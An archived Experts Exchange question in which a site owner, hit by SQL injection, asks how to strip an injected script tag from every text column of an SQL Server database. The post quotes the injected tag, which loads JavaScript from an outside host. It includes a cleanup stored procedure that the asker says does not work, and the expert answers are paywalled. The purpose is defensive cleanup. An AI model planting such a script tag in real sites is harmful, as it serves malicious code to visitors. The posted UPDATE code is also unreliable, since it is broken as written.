[x]
Posted via EE Mobile

Search, ask, and monitor your questions on the go with EE Mobile. Visit Experts Exchange from your mobile device and never be out of touch again.

05/17/2008 at 02:36PM PDT, ID: 23411125
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

9.4

Cleaning Up SQL Injection Attack - http://www.banner82.com/b.js script

Asked by coloradodude in Networking Security Vulnerabilities, MS SQL Server, SQL Server 2005

Tags: ASP, SQL, MS SQL 2005, www.bestaviation.net & aviationcareerguide.com

I have fallen victim to what appears to be a nefarious SQL Injection attack.  My system is an old ASP applicaiton that requires some protection updates. However I need to clean the database to remove the following text:
<script src=http://www.banner82.com/b.js></script>

This text has been appended to every column that contains Character or Text data. Becuase it has infected ntext and Text fields as well as varchars  I can not use the replace function. So I need something else.

I have modified Narayana Vyas Kondreddi's Search Code to update records that
The following update statement is the one that is not working... Any help woudl be greatly appreciated:

 UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
CREATE PROC SearchTableStrReplaceg
(
     @SearchStr nvarchar(100),
     @TableStr nvarchar(100)
 
)
AS
BEGIN
 
     -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
     -- Purpose: To search all columns of all tables for a given search string
     -- Written by: Narayana Vyas Kondreddi
     -- Site: http://vyaskn.tripod.com
     -- Tested on: SQL Server 7.0 and SQL Server 2000
     -- Date modified: 28th July 2002 22:50 GMT
 
 
     CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
 
     SET NOCOUNT ON
 
     DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @fieldlen integer
     SET  @TableName = ''
     SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
     SET @fieldlen =LEN(@SearchStr2)
     WHILE @TableName IS NOT NULL
     BEGIN
          SET @ColumnName = ''
          SET @TableName = 
          (
               SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
               FROM      INFORMATION_SCHEMA.TABLES
               WHERE           TABLE_TYPE = 'BASE TABLE' and TABLE_NAME = @TableStr
                    AND     QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND     OBJECTPROPERTY(
                              OBJECT_ID(
                                   QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                    ), 'IsMSShipped'
                                     ) = 0
          )
 
          WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
          BEGIN
               SET @ColumnName =
               (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM      INFORMATION_SCHEMA.COLUMNS
                    WHERE           TABLE_SCHEMA     = PARSENAME(@TableName, 2)
                         AND     TABLE_NAME     = PARSENAME(@TableName, 1)
                         AND     DATA_TYPE IN ('text', 'ntext')
                         AND     QUOTENAME(COLUMN_NAME) > @ColumnName
               )
     
               IF @ColumnName IS NOT NULL
               BEGIN
                         UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0
               END
          END     
     END
 
     SELECT ColumnName, ColumnValue FROM #Results
END
 
Keywords: Cleaning Up SQL Injection Attack - htt…
 
Loading Advertisement...
 
[+][-]05/18/08 11:30 AM, ID: 21593525

View this solution now by starting your 30-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zones: Networking Security Vulnerabilities, MS SQL Server, SQL Server 2005
Tags: ASP, SQL, MS SQL 2005, www.bestaviation.net &amp; aviationcareerguide.com
Sign Up Now!
Solution Provided By: hibridassassin
Participating Experts: 15
Solution Grade: A
 
 
[+][-]05/17/08 02:46 PM, ID: 21590853

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/17/08 02:59 PM, ID: 21590873

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05/18/08 05:08 AM, ID: 21592403

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/18/08 10:30 AM, ID: 21593357

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]05/18/08 06:40 PM, ID: 21594800

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/18/08 09:14 PM, ID: 21595193

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/19/08 06:27 AM, ID: 21597541

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/19/08 08:48 AM, ID: 21598809

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/19/08 08:49 AM, ID: 21598817

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/19/08 12:37 PM, ID: 21600839

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/21/08 04:54 AM, ID: 21614020

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/21/08 08:49 AM, ID: 21616275

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/21/08 08:58 AM, ID: 21616362

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/21/08 11:23 AM, ID: 21617632

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/22/08 08:12 AM, ID: 21624523

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/23/08 06:17 AM, ID: 21631806

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/23/08 06:21 AM, ID: 21631830

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]05/23/08 06:25 AM, ID: 21631852

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
 
Loading Advertisement...
20091028-EE-VQP-86 / EE_QW_Related_20080208